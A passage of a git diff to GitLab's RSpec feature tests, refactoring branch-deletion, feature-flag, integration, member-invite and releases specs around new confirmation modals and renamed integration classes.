+ it "displays a disabled button with a tooltip for the default branch that cannot be deleted", :js do
+ expect(page).to have_button('The default branch cannot be deleted', disabled: true)
+ end
end
context "protected branches" do
diff --git a/spec/features/projects/branches_spec.rb b/spec/features/projects/branches_spec.rb
index f805416b03d..0a79719f14a 100644
--- a/spec/features/projects/branches_spec.rb
+++ b/spec/features/projects/branches_spec.rb
@@ -88,10 +88,7 @@ RSpec.describe 'Branches' do
it 'shows filtered branches', :js do
visit project_branches_path(project)
- branch_search = find('input[data-testid="branch-search"]')
-
- branch_search.set('fix')
- branch_search.native.send_keys(:enter)
+ search_for_branch('fix')
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
@@ -99,13 +96,14 @@ RSpec.describe 'Branches' do
end
describe 'Delete unprotected branch on Overview' do
- it 'removes branch after confirmation', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/239019' do
+ it 'removes branch after confirmation', :js do
visit project_branches_filtered_path(project, state: 'all')
expect(all('.all-branches').last).to have_selector('li', count: 20)
- accept_confirm { first('.js-branch-item .btn-danger').click }
- expect(all('.all-branches').last).to have_selector('li', count: 19)
+ delete_branch_and_confirm
+
+ expect(page).to have_content('Branch was deleted')
end
end
@@ -151,10 +149,7 @@ RSpec.describe 'Branches' do
it 'shows filtered branches', :js do
visit project_branches_filtered_path(project, state: 'all')
- branch_search = find('input[data-testid="branch-search"]')
-
- branch_search.set('fix')
- branch_search.native.send_keys(:enter)
+ search_for_branch('fix')
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
@@ -165,17 +160,39 @@ RSpec.describe 'Branches' do
it 'removes branch after confirmation', :js do
visit project_branches_filtered_path(project, state: 'all')
- branch_search = find('input[data-testid="branch-search"]')
+ search_for_branch('fix')
- branch_search.set('fix')
- branch_search.native.send_keys(:enter)
+ expect(all('.all-branches').last).to have_selector('li', count: 1)
- expect(page).to have_content('fix')
- expect(find('.all-branches')).to have_selector('li', count: 1)
- accept_confirm { find('.js-branch-fix .btn-danger').click }
+ delete_branch_and_confirm
+
+ expect(page).to have_content('Branch was deleted')
+
+ page.refresh
+
+ search_for_branch('fix')
expect(page).not_to have_content('fix')
- expect(find('.all-branches')).to have_selector('li', count: 0)
+ expect(all('.all-branches').last).to have_selector('li', count: 0)
+ end
+
+ context 'when the delete_branch_confirmation_modals feature flag is disabled' do
+ it 'removes branch after confirmation', :js do
+ stub_feature_flags(delete_branch_confirmation_modals: false)
+
+ visit project_branches_filtered_path(project, state: 'all')
+
+ search_for_branch('fix')
+
+ expect(page).to have_content('fix')
+ expect(find('.all-branches')).to have_selector('li', count: 1)
+ accept_confirm do
+ within('.js-branch-item', match: :first) { click_link(title: 'Delete branch') }
+ end
+
+ expect(page).not_to have_content('fix')
+ expect(find('.all-branches')).to have_selector('li', count: 0)
+ end
end
end
@@ -323,4 +340,18 @@ RSpec.describe 'Branches' do
def create_file(message: 'message', branch_name:)
repository.create_file(user, generate(:branch), 'content', message: message, branch_name: branch_name)
end
+
+ def search_for_branch(name)
+ branch_search = find('input[data-testid="branch-search"]')
+ branch_search.set(name)
+ branch_search.native.send_keys(:enter)
+ end
+
+ def delete_branch_and_confirm
+ find('.js-delete-branch-button', match: :first).click
+
+ within '.modal-footer' do
+ click_button 'Yes, delete branch'
+ end
+ end
end
diff --git a/spec/features/projects/clusters/applications_spec.rb b/spec/features/projects/clusters/applications_spec.rb
deleted file mode 100644
index 74b477dd85d..00000000000
--- a/spec/features/projects/clusters/applications_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_relative '../../../../spec/features/clusters/installing_applications_shared_examples'
-
-RSpec.describe 'Project-level Cluster Applications', :js do
- include GoogleApi::CloudPlatformHelpers
-
- let(:project) { create(:project) }
- let(:user) { create(:user) }
-
- before do
- project.add_maintainer(user)
- sign_in(user)
- end
-
- describe 'Installing applications' do
- include_examples "installing applications on a cluster" do
- let(:cluster_path) { project_cluster_path(project, cluster) }
- let(:cluster_factory_args) { [projects: [project]] }
- end
- end
-end
diff --git a/spec/features/projects/confluence/user_views_confluence_page_spec.rb b/spec/features/projects/confluence/user_views_confluence_page_spec.rb
index 7ec724ed55d..ece2f82f5c6 100644
--- a/spec/features/projects/confluence/user_views_confluence_page_spec.rb
+++ b/spec/features/projects/confluence/user_views_confluence_page_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe 'User views the Confluence page' do
end
it 'shows the page when the Confluence integration is enabled' do
- service = create(:confluence_service, project: project)
+ service = create(:confluence_integration, project: project)
visit project_wikis_confluence_path(project)
diff --git a/spec/features/projects/environments/environment_spec.rb b/spec/features/projects/environments/environment_spec.rb
index 1d7be7fa7a3..fea054de64e 100644
--- a/spec/features/projects/environments/environment_spec.rb
+++ b/spec/features/projects/environments/environment_spec.rb
@@ -329,11 +329,11 @@ RSpec.describe 'Environment' do
expect(page).to have_button('Stop')
end
- it 'user deletes the branch with running environment' do
+ it 'user deletes the branch with running environment', :js do
visit project_branches_filtered_path(project, state: 'all', search: 'feature')
remove_branch_with_hooks(project, user, 'feature') do
- page.within('.js-branch-feature') { find('a.btn-danger').click }
+ page.within('.js-branch-feature') { find('.js-delete-branch-button').click }
end
visit_environment(environment)
@@ -341,6 +341,24 @@ RSpec.describe 'Environment' do
expect(page).not_to have_button('Stop')
end
+ context 'when the feature flag :delete_branch_confirmation_modals is disabled' do
+ before do
+ stub_feature_flags(delete_branch_confirmation_modals: false)
+ end
+
+ it 'user deletes the branch with running environment' do
+ visit project_branches_filtered_path(project, state: 'all', search: 'feature')
+
+ remove_branch_with_hooks(project, user, 'feature') do
+ within('.js-branch-feature') { click_link(title: 'Delete branch') }
+ end
+
+ visit_environment(environment)
+
+ expect(page).not_to have_button('Stop')
+ end
+ end
+
##
# This is a workaround for problem described in #24543
#
diff --git a/spec/features/projects/environments/environments_spec.rb b/spec/features/projects/environments/environments_spec.rb
index de7ff1c473d..0dd4bd55d46 100644
--- a/spec/features/projects/environments/environments_spec.rb
+++ b/spec/features/projects/environments/environments_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe 'Environments page', :js do
context 'when cluster is not reachable' do
let!(:cluster) { create(:cluster, :provided_by_gcp, projects: [project]) }
- let!(:application_prometheus) { create(:clusters_applications_prometheus, :installed, cluster: cluster) }
+ let!(:integration_prometheus) { create(:clusters_integrations_prometheus, cluster: cluster) }
before do
allow_next_instance_of(Kubeclient::Client) do |instance|
diff --git a/spec/features/projects/environments_pod_logs_spec.rb b/spec/features/projects/environments_pod_logs_spec.rb
index eaef3e6ca28..5019e45593c 100644
--- a/spec/features/projects/environments_pod_logs_spec.rb
+++ b/spec/features/projects/environments_pod_logs_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe 'Environment > Pod Logs', :js, :kubeclient do
dropdown_items = find(".dropdown-menu").all(".dropdown-item")
expect(dropdown_items.first).to have_content(environment.name)
- expect(dropdown_items.size).to eq(3)
+ expect(dropdown_items.size).to eq(2)
end
end
diff --git a/spec/features/projects/feature_flag_user_lists/user_deletes_feature_flag_user_list_spec.rb b/spec/features/projects/feature_flag_user_lists/user_deletes_feature_flag_user_list_spec.rb
index 2a81c706525..37d6f299883 100644
--- a/spec/features/projects/feature_flag_user_lists/user_deletes_feature_flag_user_list_spec.rb
+++ b/spec/features/projects/feature_flag_user_lists/user_deletes_feature_flag_user_list_spec.rb
@@ -17,12 +17,13 @@ RSpec.describe 'User deletes feature flag user list', :js do
end
it 'deletes the list' do
- visit(project_feature_flags_path(project, scope: 'userLists'))
+ visit(project_feature_flags_user_lists_path(project, scope: 'userLists'))
delete_user_list_button.click
delete_user_list_modal_confirmation_button.click
- expect(page).to have_text('Lists 0')
+ expect(page).to have_text('Lists')
+ expect(page).not_to have_selector('[data-testid="ffUserListName"]')
end
end
@@ -34,7 +35,7 @@ RSpec.describe 'User deletes feature flag user list', :js do
end
it 'does not delete the list' do
- visit(project_feature_flags_path(project, scope: 'userLists'))
+ visit(project_feature_flags_user_lists_path(project, scope: 'userLists'))
delete_user_list_button.click
delete_user_list_modal_confirmation_button.click
diff --git a/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb b/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb
index 50fc7bb0753..d922bc1f4a0 100644
--- a/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb
+++ b/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb
@@ -18,65 +18,21 @@ RSpec.describe 'User sees feature flag list', :js do
context 'with legacy feature flags' do
before do
- create_flag(project, 'ci_live_trace', false).tap do |feature_flag|
+ create_flag(project, 'ci_live_trace', false, version: :legacy_flag).tap do |feature_flag|
create_scope(feature_flag, 'review/*', true)
end
- create_flag(project, 'drop_legacy_artifacts', false)
- create_flag(project, 'mr_train', true).tap do |feature_flag|
+ create_flag(project, 'drop_legacy_artifacts', false, version: :legacy_flag)
+ create_flag(project, 'mr_train', true, version: :legacy_flag).tap do |feature_flag|
create_scope(feature_flag, 'production', false)
end
end
- it 'user sees the first flag' do
- visit(project_feature_flags_path(project))
-
- within_feature_flag_row(1) do
- expect(page.find('.js-feature-flag-id')).to have_content('^1')
- expect(page.find('.feature-flag-name')).to have_content('ci_live_trace')
- expect_status_toggle_button_not_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-muted-badge"]:nth-child(1)')).to have_content('*')
- expect(page.find('[data-qa-selector="feature-flag-scope-info-badge"]:nth-child(2)')).to have_content('review/*')
- end
- end
- end
-
- it 'user sees the second flag' do
- visit(project_feature_flags_path(project))
-
- within_feature_flag_row(2) do
- expect(page.find('.js-feature-flag-id')).to have_content('^2')
- expect(page.find('.feature-flag-name')).to have_content('drop_legacy_artifacts')
- expect_status_toggle_button_not_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-muted-badge"]:nth-child(1)')).to have_content('*')
- end
- end
- end
-
- it 'user sees the third flag' do
- visit(project_feature_flags_path(project))
-
- within_feature_flag_row(3) do
- expect(page.find('.js-feature-flag-id')).to have_content('^3')
- expect(page.find('.feature-flag-name')).to have_content('mr_train')
- expect_status_toggle_button_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-info-badge"]:nth-child(1)')).to have_content('*')
- expect(page.find('[data-qa-selector="feature-flag-scope-muted-badge"]:nth-child(2)')).to have_content('production')
- end
- end
- end
-
- it 'user sees the status toggle disabled' do
+ it 'shows empty page' do
visit(project_feature_flags_path(project))
- within_feature_flag_row(1) do
- expect_status_toggle_button_to_be_disabled
- end
+ expect(page).to have_text 'Get started with feature flags'
+ expect(page).to have_selector('.btn-confirm', text: 'New feature flag')
+ expect(page).to have_selector('[data-qa-selector="configure_feature_flags_button"]', text: 'Configure')
end
end
diff --git a/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb b/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb
index a435e565ff1..9c03a26abc8 100644
--- a/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb
+++ b/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb
@@ -73,16 +73,16 @@ RSpec.describe 'User updates feature flag', :js do
context 'with a legacy feature flag' do
let!(:feature_flag) do
create_flag(project, 'ci_live_trace', true,
- description: 'For live trace feature')
+ description: 'For live trace feature',
+ version: :legacy_flag)
end
let!(:scope) { create_scope(feature_flag, 'review/*', true) }
- it 'the user cannot edit the flag' do
+ it 'shows not found error' do
visit(edit_project_feature_flag_path(project, feature_flag))
- expect(page).to have_text 'This feature flag is read-only, and it will be removed in 14.0.'
- expect(page).to have_css('button.js-ff-submit.disabled')
+ expect(page).to have_text 'Page Not Found'
end
end
end
diff --git a/spec/features/projects/features_visibility_spec.rb b/spec/features/projects/features_visibility_spec.rb
index 363fe8c35fe..2e5a5cef0fd 100644
--- a/spec/features/projects/features_visibility_spec.rb
+++ b/spec/features/projects/features_visibility_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe 'Edit Project Settings' do
context 'When external issue tracker is enabled and issues enabled on project settings' do
it 'does not hide issues tab and hides labels tab' do
allow_next_instance_of(Project) do |instance|
- allow(instance).to receive(:external_issue_tracker).and_return(JiraService.new)
+ allow(instance).to receive(:external_issue_tracker).and_return(Integrations::Jira.new)
end
visit project_path(project)
@@ -58,7 +58,7 @@ RSpec.describe 'Edit Project Settings' do
project.issues_enabled = false
project.save!
allow_next_instance_of(Project) do |instance|
- allow(instance).to receive(:external_issue_tracker).and_return(JiraService.new)
+ allow(instance).to receive(:external_issue_tracker).and_return(Integrations::Jira.new)
end
end
diff --git a/spec/features/projects/import_export/import_file_spec.rb b/spec/features/projects/import_export/import_file_spec.rb
index af228764c17..25836514981 100644
--- a/spec/features/projects/import_export/import_file_spec.rb
+++ b/spec/features/projects/import_export/import_file_spec.rb
@@ -30,14 +30,14 @@ RSpec.describe 'Import/Export - project import integration test', :js do
it 'user imports an exported project successfully', :sidekiq_might_not_need_inline do
visit new_project_path
- click_import_project_tab
+ click_import_project
click_link 'GitLab export'
fill_in :name, with: 'Test Project Name', visible: true
fill_in :path, with: 'test-project-path', visible: true
attach_file('file', file)
- expect { click_on 'Import project' }.to change { Project.count }.by(1)
+ expect { click_button 'Import project' }.to change { Project.count }.by(1)
project = Project.last
expect(project).not_to be_nil
@@ -49,11 +49,11 @@ RSpec.describe 'Import/Export - project import integration test', :js do
visit new_project_path
- click_import_project_tab
+ click_import_project
click_link 'GitLab export'
fill_in :name, with: project.name, visible: true
attach_file('file', file)
- click_on 'Import project'
+ click_button 'Import project'
page.within('.flash-container') do
expect(page).to have_content('Project could not be imported')
@@ -61,7 +61,7 @@ RSpec.describe 'Import/Export - project import integration test', :js do
end
end
- def click_import_project_tab
+ def click_import_project
find('[data-qa-selector="import_project_link"]').click
end
end
diff --git a/spec/features/projects/infrastructure_registry_spec.rb b/spec/features/projects/infrastructure_registry_spec.rb
new file mode 100644
index 00000000000..9cab4ebeb3a
--- /dev/null
+++ b/spec/features/projects/infrastructure_registry_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Infrastructure Registry' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+
+ before do
+ sign_in(user)
+ project.add_maintainer(user)
+ end
+
+ context 'when feature is not available' do
+ before do
+ stub_feature_flags(infrastructure_registry_page: false)
+ end
+
+ it 'gives 404' do
+ visit_project_infrastructure_registry
+
+ expect(status_code).to eq(404)
+ end
+ end
+
+ context 'when feature is available', :js do
+ before do
+ visit_project_infrastructure_registry
+ end
+
+ context 'when there are packages' do
+ let_it_be(:terraform_module) { create(:terraform_module_package, project: project, created_at: 1.day.ago, version: '1.0.0') }
+ let_it_be(:terraform_module2) { create(:terraform_module_package, project: project, created_at: 2.days.ago, version: '2.0.0') }
+ let_it_be(:packages) { [terraform_module, terraform_module2] }
+
+ it_behaves_like 'packages list'
+
+ context 'deleting a package' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:terraform_module) { create(:terraform_module_package, project: project) }
+
+ it 'allows you to delete a module', :aggregate_failures do
+ # this is still using the package copy in the UI too
+ click_button('Remove package')
+ click_button('Delete package')
+
+ expect(page).to have_content 'Package deleted successfully'
+ expect(page).not_to have_content(terraform_module.name)
+ end
+ end
+ end
+
+ it 'displays the empty message' do
+ expect(page).to have_content('You have no Terraform modules in your project')
+ end
+ end
+
+ def visit_project_infrastructure_registry
+ visit project_infrastructure_registry_index_path(project)
+ end
+end
diff --git a/spec/features/projects/services/user_activates_flowdock_spec.rb b/spec/features/projects/integrations/user_activates_flowdock_spec.rb
index 4a4d7bbecfd..4a4d7bbecfd 100644
--- a/spec/features/projects/services/user_activates_flowdock_spec.rb
+++ b/spec/features/projects/integrations/user_activates_flowdock_spec.rb
diff --git a/spec/features/projects/services/user_activates_jira_spec.rb b/spec/features/projects/integrations/user_activates_jira_spec.rb
index 10f84aae93f..10f84aae93f 100644
--- a/spec/features/projects/services/user_activates_jira_spec.rb
+++ b/spec/features/projects/integrations/user_activates_jira_spec.rb
diff --git a/spec/features/projects/services/user_activates_pivotaltracker_spec.rb b/spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb
index 83f66d4fa7b..83f66d4fa7b 100644
--- a/spec/features/projects/services/user_activates_pivotaltracker_spec.rb
+++ b/spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb
diff --git a/spec/features/projects/members/invite_group_spec.rb b/spec/features/projects/members/invite_group_spec.rb
index 4caf3e947c7..6ce6834b5d5 100644
--- a/spec/features/projects/members/invite_group_spec.rb
+++ b/spec/features/projects/members/invite_group_spec.rb
@@ -32,6 +32,14 @@ RSpec.describe 'Project > Members > Invite group', :js do
expect(page).to have_selector(expected_invite_group_selector)
end
+
+ it 'does not display either the form or the button when visiting the page not signed in' do
+ project = create(:project, namespace: create(:group))
+
+ visit project_project_members_path(project)
+
+ expect(page).not_to have_selector(expected_invite_group_selector)
+ end
end
describe 'Share with group lock' do
diff --git a/spec/features/projects/members/list_spec.rb b/spec/features/projects/members/list_spec.rb
index f1fc579bb8a..25598146604 100644
--- a/spec/features/projects/members/list_spec.rb
+++ b/spec/features/projects/members/list_spec.rb
@@ -6,17 +6,17 @@ RSpec.describe 'Project members list', :js do
include Spec::Support::Helpers::Features::MembersHelpers
include Spec::Support::Helpers::Features::InviteMembersModalHelper
- let(:user1) { create(:user, name: 'John Doe') }
- let(:user2) { create(:user, name: 'Mary Jane') }
- let(:group) { create(:group) }
- let(:project) { create(:project, :internal, namespace: group) }
+ let_it_be(:user1) { create(:user, name: 'John Doe') }
+ let_it_be(:user2) { create(:user, name: 'Mary Jane') }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :internal, namespace: group) }
before do
sign_in(user1)
group.add_owner(user1)
end
- it 'show members from project and group' do
+ it 'show members from project and group', :aggregate_failures do
project.add_developer(user2)
visit_members_page
@@ -25,7 +25,7 @@ RSpec.describe 'Project members list', :js do
expect(second_row).to have_content(user2.name)
end
- it 'show user once if member of both group and project' do
+ it 'show user once if member of both group and project', :aggregate_failures do
project.add_developer(user1)
visit_members_page
@@ -47,7 +47,7 @@ RSpec.describe 'Project members list', :js do
end
end
- it 'add user to project' do
+ it 'add user to project', :snowplow, :aggregate_failures do
visit_members_page
invite_member(user2.name, role: 'Reporter')
@@ -55,9 +55,17 @@ RSpec.describe 'Project members list', :js do
page.within find_member_row(user2) do
expect(page).to have_button('Reporter')
end
+
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'project-members-page',
+ property: 'existing_user',
+ user: user1
+ )
end
- it 'uses ProjectMember access_level_roles for the invite members modal access option' do
+ it 'uses ProjectMember access_level_roles for the invite members modal access option', :aggregate_failures do
visit_members_page
click_on 'Invite members'
@@ -95,7 +103,7 @@ RSpec.describe 'Project members list', :js do
expect(members_table).not_to have_content(other_user.name)
end
- it 'invite user to project' do
+ it 'invite user to project', :snowplow, :aggregate_failures do
visit_members_page
invite_member('test@example.com', role: 'Reporter')
@@ -105,6 +113,28 @@ RSpec.describe 'Project members list', :js do
page.within find_invited_member_row('test@example.com') do
expect(page).to have_button('Reporter')
end
+
+ expect_snowplow_event(
+ category: 'Members::InviteService',
+ action: 'create_member',
+ label: 'project-members-page',
+ property: 'net_new_user',
+ user: user1
+ )
+ end
+
+ context 'as a signed out visitor viewing a public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ before do
+ sign_out(user1)
+ end
+
+ it 'does not show the Invite members button when not signed in' do
+ visit_members_page
+
+ expect(page).not_to have_button('Invite members')
+ end
end
context 'project bots' do
@@ -114,7 +144,7 @@ RSpec.describe 'Project members list', :js do
project.add_maintainer(project_bot)
end
- it 'does not show form used to change roles and "Expiration date" or the remove user button' do
+ it 'does not show form used to change roles and "Expiration date" or the remove user button', :aggregate_failures do
visit_members_page
page.within find_member_row(project_bot) do
diff --git a/spec/features/projects/members/tabs_spec.rb b/spec/features/projects/members/tabs_spec.rb
index 471be26e126..5611e7ee810 100644
--- a/spec/features/projects/members/tabs_spec.rb
+++ b/spec/features/projects/members/tabs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Projects > Members > Tabs' do
+RSpec.describe 'Projects > Members > Tabs', :js do
include Spec::Support::Helpers::Features::MembersHelpers
using RSpec::Parameterized::TableSyntax
@@ -44,7 +44,7 @@ RSpec.describe 'Projects > Members > Tabs' do
end
end
- context 'when searching "Groups"', :js do
+ context 'when searching "Groups"' do
before do
click_link 'Groups'
diff --git a/spec/features/projects/members/user_requests_access_spec.rb b/spec/features/projects/members/user_requests_access_spec.rb
index 7073741a92d..94543290050 100644
--- a/spec/features/projects/members/user_requests_access_spec.rb
+++ b/spec/features/projects/members/user_requests_access_spec.rb
@@ -3,8 +3,9 @@
require 'spec_helper'
RSpec.describe 'Projects > Members > User requests access', :js do
- let(:user) { create(:user) }
- let(:project) { create(:project, :public, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+
let(:maintainer) { project.owner }
before do
@@ -47,6 +48,8 @@ RSpec.describe 'Projects > Members > User requests access', :js do
expect(project.requesters.exists?(user_id: user)).to be_truthy
+ click_link 'Project information'
+
page.within('.nav-sidebar') do
click_link('Members')
end
diff --git a/spec/features/projects/navbar_spec.rb b/spec/features/projects/navbar_spec.rb
index ee5bf99fd75..bce11e6bc8a 100644
--- a/spec/features/projects/navbar_spec.rb
+++ b/spec/features/projects/navbar_spec.rb
@@ -17,6 +17,10 @@ RSpec.describe 'Project navbar' do
end
context 'when sidebar refactor feature flag is disabled' do
+ let(:project_context_nav_item) do
+ nil
+ end
+
before do
stub_feature_flags(sidebar_refactor: false)
insert_package_nav(_('Operations'))
diff --git a/spec/features/projects/new_project_spec.rb b/spec/features/projects/new_project_spec.rb
index a1523f9eb08..c57432ae94e 100644
--- a/spec/features/projects/new_project_spec.rb
+++ b/spec/features/projects/new_project_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'New project', :js do
include Select2Helper
+ include Spec::Support::Helpers::Features::TopNavSpecHelpers
shared_examples 'combined_menu: feature flag examples' do
context 'as a user' do
@@ -45,34 +46,39 @@ RSpec.describe 'New project', :js do
end
it 'when in control it renders "project" in the new projects dropdown' do
- pending_on_combined_menu_flag
-
stub_experiments(new_repo: :control)
visit new_project_path
- find('#nav-projects-dropdown').click
-
- page.within('#nav-projects-dropdown') do
- expect(page).to have_selector('a', text: 'Create blank project')
- expect(page).to have_selector('a', text: 'Import project')
- expect(page).to have_no_selector('a', text: 'Create blank project/repository')
- expect(page).to have_no_selector('a', text: 'Import project/repository')
+ open_top_nav_projects
+
+ within_top_nav do
+ if Feature.enabled?(:combined_menu, default_enabled: :yaml)
+ expect(page).to have_selector('a', text: 'Create new project')
+ expect(page).to have_no_selector('a', text: 'Create blank project/repository')
+ else
+ expect(page).to have_selector('a', text: 'Create blank project')
+ expect(page).to have_selector('a', text: 'Import project')
+ expect(page).to have_no_selector('a', text: 'Create blank project/repository')
+ expect(page).to have_no_selector('a', text: 'Import project/repository')
+ end
end
end
it 'when in candidate it renders "project/repository" in the new projects dropdown' do
- pending_on_combined_menu_flag
-
stub_experiments(new_repo: :candidate)
visit new_project_path
- find('#nav-projects-dropdown').click
+ open_top_nav_projects
- page.within('#nav-projects-dropdown') do
- expect(page).to have_selector('a', text: 'Create blank project/repository')
- expect(page).to have_selector('a', text: 'Import project/repository')
+ within_top_nav do
+ if Feature.enabled?(:combined_menu, default_enabled: :yaml)
+ expect(page).to have_selector('a', text: 'Create new project')
+ else
+ expect(page).to have_selector('a', text: 'Create blank project/repository')
+ expect(page).to have_selector('a', text: 'Import project/repository')
+ end
end
end
end
@@ -356,16 +362,6 @@ RSpec.describe 'New project', :js do
expect(git_import_instructions).to have_content 'Git repository URL'
end
- it 'reports error if repo URL does not end with .git' do
- fill_in 'project_import_url', with: 'http://foo/bar'
- fill_in 'project_name', with: 'import-project-without-git-suffix'
- fill_in 'project_path', with: 'import-project-without-git-suffix'
-
- click_button 'Create project'
-
- expect(page).to have_text('Please provide a valid URL ending with .git')
- end
-
it 'keeps "Import project" tab open after form validation error' do
collision_project = create(:project, name: 'test-name-collision', namespace: user.namespace)
@@ -422,7 +418,7 @@ RSpec.describe 'New project', :js do
end
end
- context 'with combined_menu: feature flag on' do
+ context 'with combined_menu feature flag on' do
let(:needs_rewrite_for_combined_menu_flag_on) { true }
before do
@@ -441,8 +437,4 @@ RSpec.describe 'New project', :js do
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/projects/pages/user_edits_settings_spec.rb b/spec/features/projects/pages/user_edits_settings_spec.rb
index 412ba17cf20..71d4cce2784 100644
--- a/spec/features/projects/pages/user_edits_settings_spec.rb
+++ b/spec/features/projects/pages/user_edits_settings_spec.rb
@@ -39,12 +39,6 @@ RSpec.describe 'Pages edits pages settings', :js do
end
end
- it 'renders first deployment warning' do
- visit project_pages_path(project)
-
- expect(page).to have_content('It may take up to 30 minutes before the site is available after the first deployment.')
- end
-
shared_examples 'does not render access control warning' do
it 'does not render access control warning' do
visit project_pages_path(project)
diff --git a/spec/features/projects/releases/user_views_releases_spec.rb b/spec/features/projects/releases/user_views_releases_spec.rb
index d8a55fc7f3b..fcb1b6a0015 100644
--- a/spec/features/projects/releases/user_views_releases_spec.rb
+++ b/spec/features/projects/releases/user_views_releases_spec.rb
@@ -19,129 +19,147 @@ RSpec.describe 'User views releases', :js do
project.add_guest(guest)
end
- context('when the user is a maintainer') do
- before do
- sign_in(maintainer)
-
- visit project_releases_path(project)
- end
+ shared_examples 'releases index page' do
+ context('when the user is a maintainer') do
+ before do
+ sign_in(maintainer)
- it 'sees the release' do
- page.within("##{release_v1.tag}") do
- expect(page).to have_content(release_v1.name)
- expect(page).to have_content(release_v1.tag)
- expect(page).not_to have_content('Upcoming Release')
+ visit project_releases_path(project)
end
- end
-
- context 'when there is a link as an asset' do
- let!(:release_link) { create(:release_link, release: release_v1, url: url ) }
- let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
- let(:direct_asset_link) { Gitlab::Routing.url_helpers.project_release_url(project, release_v1) << "/downloads#{release_link.filepath}" }
- it 'sees the link' do
- page.within("##{release_v1.tag} .js-assets-list") do
- expect(page).to have_link release_link.name, href: direct_asset_link
- expect(page).not_to have_css('[data-testid="external-link-indicator"]')
+ it 'sees the release' do
+ page.within("##{release_v1.tag}") do
+ expect(page).to have_content(release_v1.name)
+ expect(page).to have_content(release_v1.tag)
+ expect(page).not_to have_content('Upcoming Release')
end
end
- context 'when there is a link redirect' do
- let!(:release_link) { create(:release_link, release: release_v1, name: 'linux-amd64 binaries', filepath: '/binaries/linux-amd64', url: url) }
+ context 'when there is a link as an asset' do
+ let!(:release_link) { create(:release_link, release: release_v1, url: url ) }
let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
+ let(:direct_asset_link) { Gitlab::Routing.url_helpers.project_release_url(project, release_v1) << "/downloads#{release_link.filepath}" }
- it 'sees the link', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/329301' do
+ it 'sees the link' do
page.within("##{release_v1.tag} .js-assets-list") do
expect(page).to have_link release_link.name, href: direct_asset_link
expect(page).not_to have_css('[data-testid="external-link-indicator"]')
end
end
- end
- context 'when url points to external resource' do
- let(:url) { 'http://google.com/download' }
+ context 'when there is a link redirect' do
+ let!(:release_link) { create(:release_link, release: release_v1, name: 'linux-amd64 binaries', filepath: '/binaries/linux-amd64', url: url) }
+ let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
- it 'sees that the link is external resource', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/329302' do
- page.within("##{release_v1.tag} .js-assets-list") do
- expect(page).to have_css('[data-testid="external-link-indicator"]')
+ it 'sees the link', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/329301' do
+ page.within("##{release_v1.tag} .js-assets-list") do
+ expect(page).to have_link release_link.name, href: direct_asset_link
+ expect(page).not_to have_css('[data-testid="external-link-indicator"]')
+ end
+ end
+ end
+
+ context 'when url points to external resource' do
+ let(:url) { 'http://google.com/download' }
+
+ it 'sees that the link is external resource', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/329302' do
+ page.within("##{release_v1.tag} .js-assets-list") do
+ expect(page).to have_css('[data-testid="external-link-indicator"]')
+ end
end
end
end
- end
- context 'with an upcoming release' do
- it 'sees the upcoming tag' do
- page.within("##{release_v3.tag}") do
- expect(page).to have_content('Upcoming Release')
+ context 'with an upcoming release' do
+ it 'sees the upcoming tag' do
+ page.within("##{release_v3.tag}") do
+ expect(page).to have_content('Upcoming Release')
+ end
end
end
- end
- context 'with a tag containing a slash' do
- it 'sees the release' do
- page.within("##{release_v2.tag.parameterize}") do
- expect(page).to have_content(release_v2.name)
- expect(page).to have_content(release_v2.tag)
+ context 'with a tag containing a slash' do
+ it 'sees the release' do
+ page.within("##{release_v2.tag.parameterize}") do
+ expect(page).to have_content(release_v2.name)
+ expect(page).to have_content(release_v2.tag)
+ end
end
end
- end
- context 'sorting' do
- def sort_page(by:, direction:)
- within '[data-testid="releases-sort"]' do
- find('.dropdown-toggle').click
+ context 'sorting' do
+ def sort_page(by:, direction:)
+ within '[data-testid="releases-sort"]' do
+ find('.dropdown-toggle').click
- click_button(by, class: 'dropdown-item')
